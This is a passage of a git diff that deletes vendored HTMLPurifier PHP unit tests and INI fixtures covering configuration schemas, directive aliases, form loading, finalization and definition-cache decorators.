$this->pass(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php deleted file mode 100644 index 40b5868e19..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php +++ /dev/null @@ -1,104 +0,0 @@ -schema = new HTMLPurifier_ConfigSchema(); - } - - public function test_define() - { - $this->schema->add('Car.Seats', 5, 'int', false); - - $this->assertIdentical($this->schema->defaults['Car.Seats'], 5); - $this->assertIdentical($this->schema->info['Car.Seats']->type, HTMLPurifier_VarParser::C_INT); - - $this->schema->add('Car.Age', null, 'int', true); - - $this->assertIdentical($this->schema->defaults['Car.Age'], null); - $this->assertIdentical($this->schema->info['Car.Age']->type, HTMLPurifier_VarParser::C_INT); - - } - - public function test_defineAllowedValues() - { - $this->schema->add('QuantumNumber.Spin', 0.5, 'float', false); - $this->schema->add('QuantumNumber.Current', 's', 'string', false); - $this->schema->add('QuantumNumber.Difficulty', null, 'string', true); - - $this->schema->addAllowedValues( // okay, since default is null - 'QuantumNumber.Difficulty', array('easy' => true, 'medium' => true, 'hard' => true) - ); - - $this->assertIdentical($this->schema->defaults['QuantumNumber.Difficulty'], null); - $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->type, HTMLPurifier_VarParser::C_STRING); - $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->allow_null, true); - $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->allowed, - array( - 'easy' => true, - 'medium' => true, - 'hard' => true - ) - ); - - } - - public function test_defineValueAliases() - { - $this->schema->add('Abbrev.HTH', 'Happy to Help', 'string', false); - $this->schema->addAllowedValues( - 'Abbrev.HTH', array( - 'Happy to Help' => true, - 'Hope that Helps' => true, - 'HAIL THE HAND!' => true, - ) - ); - $this->schema->addValueAliases( - 'Abbrev.HTH', array( - 'happy' => 'Happy to Help', - 'hope' => 'Hope that Helps' - ) - ); - $this->schema->addValueAliases( // delayed addition - 'Abbrev.HTH', array( - 'hail' => 'HAIL THE HAND!' - ) - ); - - $this->assertIdentical($this->schema->defaults['Abbrev.HTH'], 'Happy to Help'); - $this->assertIdentical($this->schema->info['Abbrev.HTH']->type, HTMLPurifier_VarParser::C_STRING); - $this->assertIdentical($this->schema->info['Abbrev.HTH']->allowed, - array( - 'Happy to Help' => true, - 'Hope that Helps' => true, - 'HAIL THE HAND!' => true - ) - ); - $this->assertIdentical($this->schema->info['Abbrev.HTH']->aliases, - array( - 'happy' => 'Happy to Help', - 'hope' => 'Hope that Helps', - 'hail' => 'HAIL THE HAND!' - ) - ); - - } - - public function testAlias() - { - $this->schema->add('Home.Rug', 3, 'int', false); - $this->schema->addAlias('Home.Carpet', 'Home.Rug'); - - $this->assertTrue(!isset($this->schema->defaults['Home.Carpet'])); - $this->assertIdentical($this->schema->info['Home.Carpet']->key, 'Home.Rug'); - $this->assertIdentical($this->schema->info['Home.Carpet']->isAlias, true); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini deleted file mode 100644 index 7643a7eb3c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini +++ /dev/null @@ -1,4 +0,0 @@ -[Cake] -Sprinkles = 42 - -; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini deleted file mode 100644 index fa1611cf8c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini +++ /dev/null @@ -1,4 +0,0 @@ -[Poem] -Meter = alexandrine - -; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini deleted file mode 100644 index 12724a40dd..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini +++ /dev/null @@ -1,6 +0,0 @@ -[Shortcut] -Copy = q -Cut = t -Paste = p - -; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php deleted file mode 100644 index c07689ab28..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php +++ /dev/null @@ -1,577 +0,0 @@ -schema = new HTMLPurifier_ConfigSchema(); - } - - // test functionality based on ConfigSchema - - public function testNormal() - { - $this->schema->add('Element.Abbr', 'H', 'string', false); - $this->schema->add('Element.Name', 'hydrogen', 'istring', false); - $this->schema->add('Element.Number', 1, 'int', false); - $this->schema->add('Element.Mass', 1.00794, 'float', false); - $this->schema->add('Element.Radioactive', false, 'bool', false); - $this->schema->add('Element.Isotopes', array(1 => true, 2 => true, 3 => true), 'lookup', false); - $this->schema->add('Element.Traits', array('nonmetallic', 'odorless', 'flammable'), 'list', false); - $this->schema->add('Element.IsotopeNames', array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium'), 'hash', false); - $this->schema->add('Element.Object', new stdClass(), 'mixed', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - // test default value retrieval - $this->assertIdentical($config->get('Element.Abbr'), 'H'); - $this->assertIdentical($config->get('Element.Name'), 'hydrogen'); - $this->assertIdentical($config->get('Element.Number'), 1); - $this->assertIdentical($config->get('Element.Mass'), 1.00794); - $this->assertIdentical($config->get('Element.Radioactive'), false); - $this->assertIdentical($config->get('Element.Isotopes'), array(1 => true, 2 => true, 3 => true)); - $this->assertIdentical($config->get('Element.Traits'), array('nonmetallic', 'odorless', 'flammable')); - $this->assertIdentical($config->get('Element.IsotopeNames'), array(1 => 'protium', 2 => 'deuterium', 3 => 'tritium')); - $this->assertIdentical($config->get('Element.Object'), new stdClass()); - - // test setting values - $config->set('Element.Abbr', 'Pu'); - $config->set('Element.Name', 'PLUTONIUM'); // test decaps - $config->set('Element.Number', '94'); // test parsing - $config->set('Element.Mass', '244.'); // test parsing - $config->set('Element.Radioactive', true); - $config->set('Element.Isotopes', array(238, 239)); // test inversion - $config->set('Element.Traits', 'nuclear, heavy, actinide'); // test parsing - $config->set('Element.IsotopeNames', array(238 => 'Plutonium-238', 239 => 'Plutonium-239')); - $config->set('Element.Object', false); // unmodeled - - $this->expectError('Cannot set undefined directive Element.Metal to value'); - $config->set('Element.Metal', true); - - $this->expectError('Value for Element.Radioactive is of invalid type, should be bool'); - $config->set('Element.Radioactive', 'very'); - - // test value retrieval - $this->assertIdentical($config->get('Element.Abbr'), 'Pu'); - $this->assertIdentical($config->get('Element.Name'), 'plutonium'); - $this->assertIdentical($config->get('Element.Number'), 94); - $this->assertIdentical($config->get('Element.Mass'), 244.); - $this->assertIdentical($config->get('Element.Radioactive'), true); - $this->assertIdentical($config->get('Element.Isotopes'), array(238 => true, 239 => true)); - $this->assertIdentical($config->get('Element.Traits'), array('nuclear', 'heavy', 'actinide')); - $this->assertIdentical($config->get('Element.IsotopeNames'), array(238 => 'Plutonium-238', 239 => 'Plutonium-239')); - $this->assertIdentical($config->get('Element.Object'), false); - - $this->expectError('Cannot retrieve value of undefined directive Element.Metal'); - $config->get('Element.Metal'); - - } - - public function testEnumerated() - { - // case sensitive - $this->schema->add('Instrument.Manufacturer', 'Yamaha', 'string', false); - $this->schema->addAllowedValues('Instrument.Manufacturer', array( - 'Yamaha' => true, 'Conn-Selmer' => true, 'Vandoren' => true, - 'Laubin' => true, 'Buffet' => true, 'other' => true)); - $this->schema->addValueAliases('Instrument.Manufacturer', array( - 'Selmer' => 'Conn-Selmer')); - - // case insensitive - $this->schema->add('Instrument.Family', 'woodwind', 'istring', false); - $this->schema->addAllowedValues('Instrument.Family', array( - 'brass' => true, 'woodwind' => true, 'percussion' => true, - 'string' => true, 'keyboard' => true, 'electronic' => true)); - $this->schema->addValueAliases('Instrument.Family', array( - 'synth' => 'electronic')); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - // case sensitive - - $config->set('Instrument.Manufacturer', 'Vandoren'); - $this->assertIdentical($config->get('Instrument.Manufacturer'), 'Vandoren'); - - $config->set('Instrument.Manufacturer', 'Selmer'); - $this->assertIdentical($config->get('Instrument.Manufacturer'), 'Conn-Selmer'); - - $this->expectError('Value not supported, valid values are: Yamaha, Conn-Selmer, Vandoren, Laubin, Buffet, other'); - $config->set('Instrument.Manufacturer', 'buffet'); - - // case insensitive - - $config->set('Instrument.Family', 'brass'); - $this->assertIdentical($config->get('Instrument.Family'), 'brass'); - - $config->set('Instrument.Family', 'PERCUSSION'); - $this->assertIdentical($config->get('Instrument.Family'), 'percussion'); - - $config->set('Instrument.Family', 'synth'); - $this->assertIdentical($config->get('Instrument.Family'), 'electronic'); - - $config->set('Instrument.Family', 'Synth'); - $this->assertIdentical($config->get('Instrument.Family'), 'electronic'); - - } - - public function testNull() - { - $this->schema->add('ReportCard.English', null, 'string', true); - $this->schema->add('ReportCard.Absences', 0, 'int', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - $config->set('ReportCard.English', 'B-'); - $this->assertIdentical($config->get('ReportCard.English'), 'B-'); - - $config->set('ReportCard.English', null); // not yet graded - $this->assertIdentical($config->get('ReportCard.English'), null); - - // error - $this->expectError('Value for ReportCard.Absences is of invalid type, should be int'); - $config->set('ReportCard.Absences', null); - - } - - public function testAliases() - { - $this->schema->add('Home.Rug', 3, 'int', false); - $this->schema->addAlias('Home.Carpet', 'Home.Rug'); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - $this->assertIdentical($config->get('Home.Rug'), 3); - - $this->expectError('Cannot get value from aliased directive, use real name Home.Rug'); - $config->get('Home.Carpet'); - - $this->expectError('Home.Carpet is an alias, preferred directive name is Home.Rug'); - $config->set('Home.Carpet', 999); - $this->assertIdentical($config->get('Home.Rug'), 999); - - } - - // test functionality based on method - - public function test_getBatch() - { - $this->schema->add('Variables.TangentialAcceleration', 'a_tan', 'string', false); - $this->schema->add('Variables.AngularAcceleration', 'alpha', 'string', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - // grab a namespace - $this->assertIdentical( - $config->getBatch('Variables'), - array( - 'TangentialAcceleration' => 'a_tan', - 'AngularAcceleration' => 'alpha' - ) - ); - - // grab a non-existant namespace - $this->expectError('Cannot retrieve undefined namespace Constants'); - $config->getBatch('Constants'); - - } - - public function test_loadIni() - { - $this->schema->add('Shortcut.Copy', 'c', 'istring', false); - $this->schema->add('Shortcut.Paste', 'v', 'istring', false); - $this->schema->add('Shortcut.Cut', 'x', 'istring', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - - $config->loadIni(dirname(__FILE__) . '/ConfigTest-loadIni.ini'); - - $this->assertIdentical($config->get('Shortcut.Copy'), 'q'); - $this->assertIdentical($config->get('Shortcut.Paste'), 'p'); - $this->assertIdentical($config->get('Shortcut.Cut'), 't'); - - } - - public function test_getHTMLDefinition() - { - // we actually want to use the old copy, because the definition - // generation routines have dependencies on configuration values - - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML.Doctype', 'XHTML 1.0 Strict'); - $config->autoFinalize = false; - - $def = $config->getCSSDefinition(); - $this->assertIsA($def, 'HTMLPurifier_CSSDefinition'); - - $def = $config->getHTMLDefinition(); - $def2 = $config->getHTMLDefinition(); - $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition'); - $this->assertTrue($def === $def2); - $this->assertTrue($def->setup); - - $old_def = clone $def2; - - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); - $def = $config->getHTMLDefinition(); - $this->assertIsA($def, 'HTMLPurifier_HTMLDefinition'); - $this->assertTrue($def !== $old_def); - $this->assertTrue($def->setup); - - } - - public function test_getHTMLDefinition_deprecatedRawError() - { - $config = HTMLPurifier_Config::createDefault(); - $config->chatty = false; - // test deprecated retrieval of raw definition - $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->test_getHTMLDefinition()'); - $config->set('HTML.DefinitionRev', 3); - $this->expectError("Useless DefinitionID declaration"); - $def = $config->getHTMLDefinition(true); - $this->assertEqual(false, $def->setup); - - // auto initialization - $config->getHTMLDefinition(); - $this->assertTrue($def->setup); - } - - public function test_getHTMLDefinition_optimizedRawError() - { - $this->expectException(new HTMLPurifier_Exception("Cannot set optimized = true when raw = false")); - $config = HTMLPurifier_Config::createDefault(); - $config->getHTMLDefinition(false, true); - } - - public function test_getHTMLDefinition_rawAfterSetupError() - { - $this->expectException(new HTMLPurifier_Exception("Cannot retrieve raw definition after it has already been setup")); - $config = HTMLPurifier_Config::createDefault(); - $config->chatty = false; - $config->getHTMLDefinition(); - $config->getHTMLDefinition(true); - } - - public function test_getHTMLDefinition_inconsistentOptimizedError() - { - $this->expectError("Useless DefinitionID declaration"); - $this->expectException(new HTMLPurifier_Exception("Inconsistent use of optimized and unoptimized raw definition retrievals")); - $config = HTMLPurifier_Config::create(array('HTML.DefinitionID' => 'HTMLPurifier_ConfigTest->test_getHTMLDefinition_inconsistentOptimizedError')); - $config->chatty = false; - $config->getHTMLDefinition(true, false); - $config->getHTMLDefinition(true, true); - } - - public function test_getHTMLDefinition_inconsistentOptimizedError2() - { - $this->expectException(new HTMLPurifier_Exception("Inconsistent use of optimized and unoptimized raw definition retrievals")); - $config = HTMLPurifier_Config::create(array('HTML.DefinitionID' => 'HTMLPurifier_ConfigTest->test_getHTMLDefinition_inconsistentOptimizedError2')); - $config->chatty = false; - $config->getHTMLDefinition(true, true); - $config->getHTMLDefinition(true, false); - } - - public function test_getHTMLDefinition_rawError() - { - $config = HTMLPurifier_Config::createDefault(); - $this->expectException(new HTMLPurifier_Exception('Cannot retrieve raw version without specifying %HTML.DefinitionID')); - $def = $config->getHTMLDefinition(true, true); - } - - public function test_getCSSDefinition() - { - $config = HTMLPurifier_Config::createDefault(); - $def = $config->getCSSDefinition(); - $this->assertIsA($def, 'HTMLPurifier_CSSDefinition'); - } - - public function test_getDefinition() - { - $this->schema->add('Cache.DefinitionImpl', null, 'string', true); - $config = new HTMLPurifier_Config($this->schema); - $this->expectException(new HTMLPurifier_Exception("Definition of Crust type not supported")); - $config->getDefinition('Crust'); - } - - public function test_loadArray() - { - // setup a few dummy namespaces/directives for our testing - $this->schema->add('Zoo.Aadvark', 0, 'int', false); - $this->schema->add('Zoo.Boar', 0, 'int', false); - $this->schema->add('Zoo.Camel', 0, 'int', false); - $this->schema->add('Zoo.Others', array(), 'list', false); - - $config_manual = new HTMLPurifier_Config($this->schema); - $config_loadabbr = new HTMLPurifier_Config($this->schema); - $config_loadfull = new HTMLPurifier_Config($this->schema); - - $config_manual->set('Zoo.Aadvark', 3); - $config_manual->set('Zoo.Boar', 5); - $config_manual->set('Zoo.Camel', 2000); // that's a lotta camels! - $config_manual->set('Zoo.Others', array('Peacock', 'Dodo')); // wtf! - - // condensed form - $config_loadabbr->loadArray(array( - 'Zoo.Aadvark' => 3, - 'Zoo.Boar' => 5, - 'Zoo.Camel' => 2000, - 'Zoo.Others' => array('Peacock', 'Dodo') - )); - - // fully expanded form - $config_loadfull->loadArray(array( - 'Zoo' => array( - 'Aadvark' => 3, - 'Boar' => 5, - 'Camel' => 2000, - 'Others' => array('Peacock', 'Dodo') - ) - )); - - $this->assertIdentical($config_manual, $config_loadabbr); - $this->assertIdentical($config_manual, $config_loadfull); - - } - - public function test_create() - { - $this->schema->add('Cake.Sprinkles', 666, 'int', false); - $this->schema->add('Cake.Flavor', 'vanilla', 'string', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->set('Cake.Sprinkles', 42); - - // test flat pass-through - $created_config = HTMLPurifier_Config::create($config, $this->schema); - $this->assertIdentical($config, $created_config); - - // test loadArray - $created_config = HTMLPurifier_Config::create(array('Cake.Sprinkles' => 42), $this->schema); - $this->assertIdentical($config, $created_config); - - // test loadIni - $created_config = HTMLPurifier_Config::create(dirname(__FILE__) . '/ConfigTest-create.ini', $this->schema); - $this->assertIdentical($config, $created_config); - - } - - public function test_finalize() - { - // test finalization - - $this->schema->add('Poem.Meter', 'iambic', 'string', false); - - $config = new HTMLPurifier_Config($this->schema); - $config->autoFinalize = false; - $config->chatty = false; - - $config->set('Poem.Meter', 'irregular'); - - $config->finalize(); - - $this->expectError('Cannot set directive after finalization'); - $config->set('Poem.Meter', 'vedic'); - - $this->expectError('Cannot load directives after finalization'); - $config->loadArray(array('Poem.Meter' => 'octosyllable')); - - $this->expectError('Cannot load directives after finalization'); - $config->loadIni(dirname(__FILE__) . '/ConfigTest-finalize.ini'); - - } - - public function test_loadArrayFromForm() - { - $this->schema->add('Pancake.Mix', 'buttermilk', 'string', false); - $this->schema->add('Pancake.Served', true, 'bool', false); - $this->schema->add('Toppings.Syrup', true, 'bool', false); - $this->schema->add('Toppings.Flavor', 'maple', 'string', false); - $this->schema->add('Toppings.Strawberries', 3, 'int', false); - $this->schema->add('Toppings.Calories', 2000, 'int', true); - $this->schema->add('Toppings.DefinitionID', null, 'string', true); - $this->schema->add('Toppings.DefinitionRev', 1, 'int', false); - $this->schema->add('Toppings.Protected', 1, 'int', false); - - $get = array( - 'breakfast' => array( - 'Pancake.Mix' => 'nasty', - 'Pancake.Served' => '0', - 'Toppings.Syrup' => '0', - 'Toppings.Flavor' => "juice", - 'Toppings.Strawberries' => '999', - 'Toppings.Calories' => '', - 'Null_Toppings.Calories' => '1', - 'Toppings.DefinitionID' => '', - 'Toppings.DefinitionRev' => '65', - 'Toppings.Protected' => '4', - ) - ); - - $config_expect = HTMLPurifier_Config::create(array( - 'Pancake.Served' => false, - 'Toppings.Syrup' => false, - 'Toppings.Flavor' => "juice", - 'Toppings.Strawberries' => 999, - 'Toppings.Calories' => null - ), $this->schema); - - $config_result = HTMLPurifier_Config::loadArrayFromForm( - $get, 'breakfast', - array('Pancake.Served', 'Toppings', '-Toppings.Protected'), - false, // mq fix - $this->schema - ); - - $this->assertEqual($config_expect, $config_result); - - /* - MAGIC QUOTES NOT TESTED!!! - - $get = array( - 'breakfast' => array( - 'Pancake.Mix' => 'n\\asty' - ) - ); - $config_expect = HTMLPurifier_Config::create(array( - 'Pancake.Mix' => 'n\\asty' - )); - $config_result = HTMLPurifier_Config::loadArrayFromForm($get, 'breakfast', true, false); - $this->assertEqual($config_expect, $config_result); - */ - } - - public function test_getAllowedDirectivesForForm() - { - $this->schema->add('Unused.Unused', 'Foobar', 'string', false); - $this->schema->add('Partial.Allowed', true, 'bool', false); - $this->schema->add('Partial.Unused', 'Foobar', 'string', false); - $this->schema->add('All.Allowed', true, 'bool', false); - $this->schema->add('All.Blacklisted', 'Foobar', 'string', false); // explicitly blacklisted - $this->schema->add('All.DefinitionID', 'Foobar', 'string', true); // auto-blacklisted - $this->schema->add('All.DefinitionRev', 2, 'int', false); // auto-blacklisted - - $input = array('Partial.Allowed', 'All', '-All.Blacklisted'); - $output = HTMLPurifier_Config::getAllowedDirectivesForForm($input, $this->schema); - $expect = array( - array('Partial', 'Allowed'), - array('All', 'Allowed') - ); - - $this->assertEqual($output, $expect); - - } - - public function testDeprecatedAPI() - { - $this->schema->add('Foo.Bar', 2, 'int', false); - $config = new HTMLPurifier_Config($this->schema); - $config->chatty = false; - $this->expectError('Using deprecated API: use $config->set(\'Foo.Bar\', ...) instead'); - $config->set('Foo', 'Bar', 4); - $this->expectError('Using deprecated API: use $config->get(\'Foo.Bar\') instead'); - $this->assertIdentical($config->get('Foo', 'Bar'), 4); - } - - public function testInherit() - { - $this->schema->add('Phantom.Masked', 25, 'int', false); - $this->schema->add('Phantom.Unmasked', 89, 'int', false); - $this->schema->add('Phantom.Latemasked', 11, 'int', false); - $config = new HTMLPurifier_Config($this->schema); - $config->set('Phantom.Masked', 800); - $subconfig = HTMLPurifier_Config::inherit($config); - $config->set('Phantom.Latemasked', 100, 'int', false); - $this->assertIdentical($subconfig->get('Phantom.Masked'), 800); - $this->assertIdentical($subconfig->get('Phantom.Unmasked'), 89); - $this->assertIdentical($subconfig->get('Phantom.Latemasked'), 100); - } - - public function testSerialize() - { - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML.Allowed', 'a'); - $config2 = unserialize($config->serialize()); - $this->assertIdentical($config->get('HTML.Allowed'), $config2->get('HTML.Allowed')); - } - - public function testDefinitionCachingNothing() - { - list($mock, $config) = $this->setupCacheMock('HTML'); - // should not touch the cache - $mock->expectNever('get'); - $mock->expectNever('add'); - $mock->expectNever('set'); - $config->getDefinition('HTML', true); - $config->getDefinition('HTML', true); - $config->getDefinition('HTML'); - $this->teardownCacheMock(); - } - - public function testDefinitionCachingOptimized() - { - list($mock, $config) = $this->setupCacheMock('HTML'); - $mock->expectNever('set'); - $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->testDefinitionCachingOptimized'); - $mock->expectOnce('get'); - $mock->returns('get', null); - $this->assertTrue($config->maybeGetRawHTMLDefinition()); - $this->assertTrue($config->maybeGetRawHTMLDefinition()); - $mock->expectOnce('add'); - $config->getDefinition('HTML'); - $this->teardownCacheMock(); - } - - public function testDefinitionCachingOptimizedHit() - { - $fake_config = HTMLPurifier_Config::createDefault(); - $fake_def = $fake_config->getHTMLDefinition(); - list($mock, $config) = $this->setupCacheMock('HTML'); - // should never frob cache - $mock->expectNever('add'); - $mock->expectNever('set'); - $config->set('HTML.DefinitionID', 'HTMLPurifier_ConfigTest->testDefinitionCachingOptimizedHit'); - $mock->expectOnce('get'); - $mock->returns('get', $fake_def); - $this->assertNull($config->maybeGetRawHTMLDefinition()); - $config->getDefinition('HTML'); - $config->getDefinition('HTML'); - $this->teardownCacheMock(); - } - - protected function setupCacheMock($type) - { - // inject our definition cache mock globally (borrowed from - // DefinitionFactoryTest) - generate_mock_once("HTMLPurifier_DefinitionCacheFactory"); - $factory = new HTMLPurifier_DefinitionCacheFactoryMock(); - $this->oldFactory = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($factory); - generate_mock_once("HTMLPurifier_DefinitionCache"); - $mock = new HTMLPurifier_DefinitionCacheMock(); - $config = HTMLPurifier_Config::createDefault(); - $factory->returns('create', $mock, array($type, $config)); - return array($mock, $config); - } - protected function teardownCacheMock() - { - HTMLPurifier_DefinitionCacheFactory::instance($this->oldFactory); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php deleted file mode 100644 index c076ff7d63..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php +++ /dev/null @@ -1,93 +0,0 @@ -context = new HTMLPurifier_Context(); - } - - public function testStandardUsage() - { - generate_mock_once('HTMLPurifier_IDAccumulator'); - - $this->assertFalse($this->context->exists('IDAccumulator')); - - $accumulator = new HTMLPurifier_IDAccumulatorMock(); - $this->context->register('IDAccumulator', $accumulator); - $this->assertTrue($this->context->exists('IDAccumulator')); - - $accumulator_2 =& $this->context->get('IDAccumulator'); - $this->assertReference($accumulator, $accumulator_2); - - $this->context->destroy('IDAccumulator'); - $this->assertFalse($this->context->exists('IDAccumulator')); - - $this->expectError('Attempted to retrieve non-existent variable IDAccumulator'); - $accumulator_3 =& $this->context->get('IDAccumulator'); - $this->assertNull($accumulator_3); - - $this->expectError('Attempted to destroy non-existent variable IDAccumulator'); - $this->context->destroy('IDAccumulator'); - - } - - public function testReRegister() - { - $var = true; - $this->context->register('OnceOnly', $var); - - $this->expectError('Name OnceOnly produces collision, cannot re-register'); - $this->context->register('OnceOnly', $var); - - // destroy it, now registration is okay - $this->context->destroy('OnceOnly'); - $this->context->register('OnceOnly', $var); - - } - - public function test_loadArray() - { - // references can be *really* wonky! - - $context_manual = new HTMLPurifier_Context(); - $context_load = new HTMLPurifier_Context(); - - $var1 = 1; - $var2 = 2; - - $context_manual->register('var1', $var1); - $context_manual->register('var2', $var2); - - // you MUST set up the references when constructing the array, - // otherwise the registered version will be a copy - $array = array( - 'var1' => &$var1, - 'var2' => &$var2 - ); - - $context_load->loadArray($array); - $this->assertIdentical($context_manual, $context_load); - - $var1 = 10; - $var2 = 20; - - $this->assertIdentical($context_manual, $context_load); - - } - - public function testNull() { - $context = new HTMLPurifier_Context(); - $var = NULL; - $context->register('var', $var); - $this->assertNull($context->get('var')); - $context->destroy('var'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php deleted file mode 100644 index d2aa2ca887..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php +++ /dev/null @@ -1,64 +0,0 @@ -cache = new HTMLPurifier_DefinitionCache_Decorator_Cleanup(); - parent::setup(); - } - - public function setupMockForSuccess($op) - { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->returns($op, true, array($this->def, $this->config)); - $this->mock->expectNever('cleanup'); - } - - public function setupMockForFailure($op) - { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->returns($op, false, array($this->def, $this->config)); - $this->mock->expectOnce('cleanup', array($this->config)); - } - - public function test_get() - { - $this->mock->expectOnce('get', array($this->config)); - $this->mock->returns('get', true, array($this->config)); - $this->mock->expectNever('cleanup'); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - public function test_get_failure() - { - $this->mock->expectOnce('get', array($this->config)); - $this->mock->returns('get', false, array($this->config)); - $this->mock->expectOnce('cleanup', array($this->config)); - $this->assertEqual($this->cache->get($this->config), false); - } - - public function test_set() - { - $this->setupMockForSuccess('set'); - $this->assertEqual($this->cache->set($this->def, $this->config), true); - } - - public function test_replace() - { - $this->setupMockForSuccess('replace'); - $this->assertEqual($this->cache->replace($this->def, $this->config), true); - } - - public function test_add() - { - $this->setupMockForSuccess('add'); - $this->assertEqual($this->cache->add($this->def, $this->config), true); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php deleted file mode 100644 index 6f3b147fb6..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php +++ /dev/null @@ -1,80 +0,0 @@ -cache = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - parent::setup(); - } - - public function setupMockForSuccess($op) - { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->returns($op, true, array($this->def, $this->config)); - $this->mock->expectNever('get'); - } - - public function setupMockForFailure($op) - { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->returns($op, false, array($this->def, $this->config)); - $this->mock->expectOnce('get', array($this->config)); - } - - public function test_get() - { - $this->mock->expectOnce('get', array($this->config)); // only ONE call! - $this->mock->returns('get', $this->def, array($this->config)); - $this->assertEqual($this->cache->get($this->config), $this->def); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - public function test_set() - { - $this->setupMockForSuccess('set', 'get'); - $this->assertEqual($this->cache->set($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - public function test_set_failure() - { - $this->setupMockForFailure('set', 'get'); - $this->assertEqual($this->cache->set($this->def, $this->config), false); - $this->cache->get($this->config); - } - - public function test_replace() - { - $this->setupMockForSuccess('replace', 'get'); - $this->assertEqual($this->cache->replace($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - public function test_replace_failure() - { - $this->setupMockForFailure('replace', 'get'); - $this->assertEqual($this->cache->replace($this->def, $this->config), false); - $this->cache->get($this->config); - } - - public function test_add() - { - $this->setupMockForSuccess('add', 'get'); - $this->assertEqual($this->cache->add($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - public function test_add_failure() - { - $this->setupMockForFailure('add', 'get'); - $this->assertEqual($this->cache->add($this->def, $this->config), false); - $this->cache->get($this->config); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php deleted file mode 100644 index 53cffc8acf..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php +++ /dev/null @@ -1,25 +0,0 @@ -mock = new HTMLPurifier_DefinitionCacheMock(); - $this->mock->type = 'Test'; - $this->cache = $this->cache->decorate($this->mock); - $this->def = $this->generateDefinition(); - $this->config = $this->generateConfigMock(); - } - - public function teardown() - { - unset($this->mock); - unset($this->cache); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php deleted file mode 100644 index 72d404ca69..0000000000 --- 